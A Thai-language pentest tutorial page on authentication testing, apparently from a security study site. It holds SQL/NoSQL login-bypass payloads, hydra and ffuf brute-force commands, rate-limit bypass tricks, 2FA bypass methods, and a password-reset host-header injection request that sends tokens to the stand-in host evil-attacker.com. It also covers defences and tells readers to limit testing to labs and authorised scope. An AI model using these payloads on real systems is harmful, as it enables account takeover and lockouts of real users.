คลัง
web

Authentication Testing

Authentication Testing คือการตรวจกลไกยืนยันตัวตนเพื่อหาจุดที่ทำให้ bypass, เข้าบัญชีคนอื่น หรือ enumerate ผู้ใช้ได้ ครอบคลุม SQLi/logic bypass, brute-force ที่ฉลาด, user enumeration, จุดอ่อน password reset (token เดาได้/host header injection), และ 2FA bypass (ข้าม step, brute OTP, response manipulation, race condition) บทนี้ไล่ทุกด่านของ auth ตั้งแต่ registration ถึง reset

IntermediateAdvanced#authentication#login#brute-force#bypass#password-reset#2fa#user-enumeration#web

1. attack surface ของ authentication

auth ไม่ได้มีแค่หน้า login — ทุกจุดที่ 'สร้าง/ยืนยัน/กู้คืน' ตัวตนล้วนเป็นเป้า ต้องกวาดให้ครบทุกด่าน เพราะจุดที่อ่อนที่สุดคือจุดที่แตก

attack surface ของ authentication
Registeroverwrite acct LoginSQLi/brute/enum 2FA / MFAskip/brute OTP Pwd resettoken/host inj Sessionlogout? ทดสอบทุกด่าน — จุดอ่อนสุดคือจุดที่แตก
  • Registration: สมัครซ้ำ username (overwrite บัญชีคนอื่น), inject ค่าตอนสมัคร, email อยู่แล้วต่างกันอย่างไร (enum)
  • Login: SQLi/NoSQLi bypass, brute-force, user enumeration, response/timing ต่างกัน
  • 2FA/MFA: ข้าม step ไปหน้า post-2FA, brute OTP, code ใช้ซ้ำ, race condition, response manipulation
  • Password reset: token เดาได้/ไม่หมดอายุ/ผูกกับ user ผิด, host header injection, reset ของคนอื่น
  • Remember-me / session: token เดาได้, ไม่ invalidate หลัง logout (ดู Session Testing)
  • OAuth/SSO: ดูหัวข้อ OAuth Attacks (redirect_uri, state, token leak)

2. Login bypass

SQL/NoSQL injection auth bypass
# SQLi — comment ตัดเงื่อนไข password ออก
username=admin'-- -&password=x
username=admin'#&password=x
username=admin' OR '1'='1' LIMIT 1-- -&password=x

# NoSQL (MongoDB) — operator injection ผ่าน JSON body
{"username":"admin","password":{"$ne":null}}
{"username":{"$gt":""},"password":{"$gt":""}}
{"username":"admin","password":{"$regex":"^a"}}   # ดึง password ทีละตัว
ดูหัวข้อ SQL Injection / NoSQL Injection สำหรับรายละเอียด — auth bypass เป็น use case คลาสสิก
  • Response manipulation: ถ้า client ตัดสินผลจาก JSON เช่น {"success":false} ลองแก้เป็น true (พบใน SPA/มือถือที่เชื่อ response)
  • Default/weak creds: admin:admin, admin:password, test:test, ดู doc/CVE ของ product
  • Logic flaw: ส่ง field ที่ไม่ควร (empty password bypass, array แทน string)
  • Case/whitespace ใน username: Admin, admin , admin\x00 อาจ match ต่างจาก uniqueness check

3. User enumeration

ถ้าระบบตอบต่างกันเมื่อ username 'มี' vs 'ไม่มี' ผู้โจมตี enumerate รายชื่อผู้ใช้จริงมาก่อน brute password ได้ ความต่างซ่อนได้หลายที่ ไม่ใช่แค่ข้อความ error

ช่องทางที่รั่วสัญญาณ
ข้อความ error"invalid username" vs "invalid password"
Timinguser มีอยู่ → ระบบ hash password → ช้ากว่า user ที่ไม่มี
HTTP status/length200 vs 302, ขนาด response ต่างกันเล็กน้อย
Password reset"เราส่งเมลแล้ว" เฉพาะเมื่อ email มีอยู่จริง
Registration"username นี้ถูกใช้แล้ว"
Rate-limit/lockoutlockout trigger เฉพาะ user ที่มีจริง
Timing enumeration: user ที่มีจริงมักช้ากว่าเพราะ backend เสียเวลา hash+compare password ส่วน user ที่ไม่มีตอบเร็ว วัดด้วย Burp Intruder (คอลัมน์ Response received) หรือ script วน request หลายรอบเทียบค่าเฉลี่ย

4. Brute-force ที่ฉลาด

Hydra — HTTP POST form
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:F=Invalid credentials"
# -L users.txt สำหรับหลาย user, -t 4 ลด thread กัน lockout
# F=<สตริงเมื่อ fail>  หรือ  S=<สตริงเมื่อ success>
ffuf — brute พร้อม filter responseLinux
ffuf -u https://target/login -X POST \
  -d 'username=admin&password=FUZZ' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -w rockyou.txt -fr 'Invalid' -mc all
# -fr กรอง response ที่ fail; อันที่เหลือ = candidate
  • Password spraying: แทน brute 1 user หลาย password → ใช้ 1-2 password ยอดฮิต (Winter2024!) ยิงหลาย user เลี่ยง lockout
  • Credential stuffing: ใช้ user:pass ที่รั่วจากที่อื่น (เฉพาะ scope/lab ที่อนุญาต)
  • Bypass rate-limit: เปลี่ยน IP (X-Forwarded-For), เว้นจังหวะ, ใช้ race condition ยิงพร้อมกันก่อน counter ตาม (ดู Race Condition)
  • Lockout enum: lockout ที่ trigger เฉพาะ user จริง = ช่อง enumerate อีกทาง
Brute-force/spraying ต่อระบบจริงอาจทำให้บัญชีคนอื่นถูกล็อกและกระทบบริการ — ทำเฉพาะบน lab/CTF หรือ scope ที่ระบุชัดว่าอนุญาต และประสานงานเรื่อง rate ก่อนเสมอ

5. Password reset attacks

flow reset ที่ออกแบบพลาดเป็นทางเข้าบัญชีที่ตรงที่สุด จุดอ่อนหลักอยู่ที่ token และ ปลายทางที่ลิงก์ชี้ไป

  • Token เดาได้: token เป็นเลขเรียง/timestamp/MD5(email) → คำนวณ/enumerate ได้
  • Token ไม่หมดอายุ / ใช้ซ้ำ: token เก่ายังใช้ได้ หรือใช้ได้หลายครั้ง
  • Token ไม่ผูก user: ขอ reset ของเราแล้วเอา token ไปใช้ reset บัญชีคนอื่น (สลับ username ในขั้น submit)
  • Host header injection: ลิงก์ในเมลสร้างจาก Host header — ปลอม Host เป็นโดเมนเรา → เหยื่อคลิก token หลุดมาที่เรา
  • Response leak token: บาง API คืน token/redirect ที่มี token ใน response ตรงๆ
Host header injection ตอน request reset
POST /forgot-password HTTP/1.1
Host: evil-attacker.com
Content-Type: application/x-www-form-urlencoded

[email protected]

# ถ้า app ประกอบลิงก์จาก Host:
#   https://evil-attacker.com/reset?token=SECRET
# เหยื่อคลิก → token ถูกส่งมาที่ server ของเรา → รีเซ็ตบัญชีเหยื่อ
# ลองสายอื่น: X-Forwarded-Host, Host: target.com:evil, dangling markup
Reset ของคนอื่นด้วยการสลับ user (token ไม่ผูก)
# 1) ขอ reset ของเราเอง → ได้ token ที่ใช้งานได้
# 2) ขั้น submit ส่ง token ของเรา แต่ชี้ user เหยื่อ
POST /reset-password HTTP/1.1
Content-Type: application/json

{"token":"OUR_VALID_TOKEN","username":"victim","new_password":"pwned123"}

6. 2FA / MFA bypass

เจอ 2FA — ไล่ลองตามนี้
login ผ่าน user/pass แล้ว ถึงหน้า 2FA
จุดที่ลอง bypass
ข้าม step ได้ไป endpoint post-2FA ตรงๆ (forced browse)
OTP สั้น + ไม่ rate-limitbrute OTP 000000-999999
response {2fa:fail}response manipulation → true
code ใช้ซ้ำได้reuse / race condition
ตรวจว่า session ก่อน-หลัง 2FA เป็น session เดียวกันไหม
ถ้าใช่ → ข้ามได้ง่าย
2FA bypass สำเร็จ → เข้าบัญชี
  • ข้าม step: หลังกรอก user/pass ระบบให้ session แล้ว — เรียก endpoint หลัง 2FA (/account, /dashboard) ตรงๆ อาจเข้าได้เลย
  • Brute OTP: code 6 หลักไม่มี rate-limit/ไม่หมดอายุเร็ว → 000000-999999 (ใช้ Intruder/race)
  • Reuse / race: code เดิมใช้ได้หลายครั้ง หรือยิงหลาย request พร้อมกันก่อน counter ตาม
  • Response manipulation: client เชื่อ {"2fa":"fail"} → แก้เป็น success
  • Backup code / fallback ที่อ่อน: ช่องทาง 'ลืมอุปกรณ์' ที่กันหลวมกว่า
  • ผูก 2FA ของเรากับบัญชีเหยื่อ: เปิด 2FA ตอนล็อกอินเป็นเหยื่อผ่าน flaw อื่น

7. ตัวอย่าง CTF & Real-world

CTF (PortSwigger): 2FA broken logic — หลังกรอก user/pass ระบบออก session cookie ให้ทันที แล้วหน้า verify OTP ยิง POST /login2 แค่เปลี่ยน parameter verify=carlos ให้ชี้เหยื่อ + brute OTP 4 หลักที่ไม่ rate-limit → เข้าบัญชี carlos

Real-world: reset flow ประกอบลิงก์จาก X-Forwarded-Host ที่ CDN ไม่ strip — ส่ง reset ให้เหยื่อพร้อม header ชี้โดเมนเรา เมื่อเหยื่อคลิก token หลุดเข้า log ของเรา = account takeover เต็มรูปแบบ พบซ้ำในหลาย bug bounty

สัญญาณลองทำ
error login ต่างกันตาม useruser enumeration → spray
OTP 4-6 หลัก ไม่ rate-limitbrute OTP / race
reset link มี token ในรูปเดาได้คำนวณ/enumerate token
Host header สะท้อนในเมลhost header injection
response JSON ตัดสินผลresponse manipulation
session cookie ออกก่อน 2FAข้าม step ไป endpoint หลัง 2FA

8. ข้อผิดพลาด & การป้องกัน

  • Brute จนบัญชีล็อก: ทำระบบรวน/กระทบผู้ใช้จริง — คุม rate + ใช้ spraying แทน
  • มองแค่หน้า login: ช่องจริงมักอยู่ที่ reset/2FA/registration
  • ไม่เทียบ baseline: ตัดสิน enum จาก error อย่างเดียว ลืม timing/length/status
  • ลืมทดสอบ session หลัง 2FA: ว่า invalidate/regenerate ไหม
การป้องกัน (blue team): error message เป็นกลางเสมอ ("invalid credentials"), rate-limit + exponential backoff + CAPTCHA หลังพลาดหลายครั้ง, reset token สุ่มแข็งแรง+หมดอายุสั้น+ผูก user+ใช้ครั้งเดียว, สร้าง URL จาก config ไม่ใช่ Host header, บังคับ 2FA เป็น step ที่ต้องผ่านจริงก่อนออก session เต็ม, rate-limit OTP และ invalidate session เก่าเมื่อเปลี่ยนรหัส

9. Quick Reference

  • surface: register / login / 2FA / reset / session
  • login: SQLi/NoSQLi bypass, response manipulation, weak creds
  • enum: error/timing/length/status ต่างกันตาม user
  • brute: hydra/ffuf; spraying เลี่ยง lockout; bypass rate ด้วย XFF/race
  • reset: token เดาได้/ไม่ผูก user, host header injection
  • 2FA: ข้าม step, brute OTP, reuse/race, response manipulation
  • ป้องกัน: error เป็นกลาง, rate-limit, token แข็งแรง+ครั้งเดียว, 2FA บังคับจริง

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอหน้า login เปล่าๆ ไม่รู้จะเริ่มตรงไหน มีแค่ Kali ทำตามนี้ทีละขั้นเพื่อไล่ทุกด่านของ authentication

  1. 1เปิด Burp Suite ดัก request login แล้วลอง SQLi/NoSQLi bypass พื้นฐานก่อน (admin'-- , {"$ne":null}) ผ่าน Repeater
  2. 2เทียบ error message/response length/เวลา ระหว่าง username ที่มีจริงกับที่ไม่มี (จดค่าไว้เป็น baseline)
  3. 3ใช้ Burp Intruder หรือ hydra ลอง user enumeration ด้วย wordlist ชื่อทั่วไป (SecLists usernames)
  4. 4ถ้า enumerate เจอ user จริง ลอง password spraying ด้วย hydra/ffuf (1-2 password ยอดฮิตกับหลาย user กันโดน lockout)
  5. 5ลองหน้า forgot-password: ขอ reset ดูว่า token ที่ได้เดาง่ายไหม (เลขเรียง/timestamp/MD5 ที่คำนวณได้)
  6. 6ทดสอบ Host header injection ตอนขอ reset ด้วย Burp Repeater แก้ Host เป็นโดเมนที่เราคุม แล้วดูลิงก์ในเมล (ถ้ามี mail sink ให้ดู)
  7. 7ถ้ามี 2FA เช็คว่า session cookie ออกก่อน 2FA ไหม (เรียก endpoint หลัง 2FA เช่น /dashboard ตรงๆ ด้วย session ที่มี)
  8. 8ถ้า OTP สั้น (4-6 หลัก) ไม่ rate-limit ลอง brute ด้วย Burp Intruder (Sniper/Cluster bomb)
  9. 9ลอง response manipulation: ถ้า client ตัดสินจาก JSON เช่น {"2fa":"fail"} ลองแก้เป็น success ด้วย Burp Match & Replace
  10. 10ถ้า session เป็น JWT (ขึ้นต้น eyJ) ไปต่อที่ jwt.io เพื่อตรวจ signature
ตัดสินใจ: ไล่ทุกด่านของ authentication ทีละจุด
ลอง SQLi/NoSQLi bypass บนฟอร์ม login (admin'-- , {"$ne":null})
ผลลัพธ์?
✅ login เข้าได้เลย→ เข้าระบบสำเร็จ ยืนยันช่องโหว่
❌ ไม่ได้→ ไป user enumeration
bypass สำเร็จ → เข้าบัญชี/เก็บ flag
เทียบ error/timing/length ระหว่าง user ที่มีจริงกับไม่มี (Burp Intruder)
เจอ user จริงไหม?
✅ เจอรายชื่อ user จริง→ password spraying ด้วย hydra/ffuf
❌ error เหมือนกันหมด→ ไปทดสอบ password reset แทน
spray 1-2 password ยอดฮิตกับทุก user ที่เจอ (เลี่ยง lockout)
ขอ reset password ดู token เดาได้ไหม / ลอง Host header injection
token เดาได้ / Host header สะท้อนไหม?
✅ ใช่→ ยึด token ของเหยื่อ / รีเซ็ตรหัสเหยื่อ
❌ แข็งแรง→ ไปดู 2FA / session
เข้าบัญชีเหยื่อผ่าน reset สำเร็จ
เช็คว่า session ออกก่อน 2FA ไหม + ลอง brute OTP
bypass 2FA ได้ไหม?
✅ ได้→ เข้าบัญชีสำเร็จ
❌ ไม่ได้เลย→ session เป็น JWT ที่ปลอมได้ไหม
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
brute-force login formhydra--
ดักจับ/แก้ไข requestBurp Suite Community--
fuzz user/password + filter responseffuf--
ทดสอบ SQLi bypass อัตโนมัติ-apt install sqlmap-
wordlist username/password ทั่วไปSecLists (/usr/share/seclists)apt install seclists-
ดู/แก้ JWT session-git clone https://github.com/ticarpi/jwt_tooljwt.io
crack weak reset token/hashhashcat-crackstation.net
🚑 ถ้าตันสนิท ลองท่าถัดไป: Session Testing — login สำเร็จแล้ว ไปตรวจว่า session/cookie ปลอดภัยแค่ไหน · JWT Attacks — ถ้า session token เป็น JWT ที่แก้ signature ได้ · OAuth Attacks — ถ้ามีปุ่ม 'login with Google/Facebook' แทนฟอร์มปกติ · Access Control — ถ้า login ผ่านแล้วแต่สิทธิ์ที่ได้ไม่ตรงกับ role ที่ควรเป็น

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้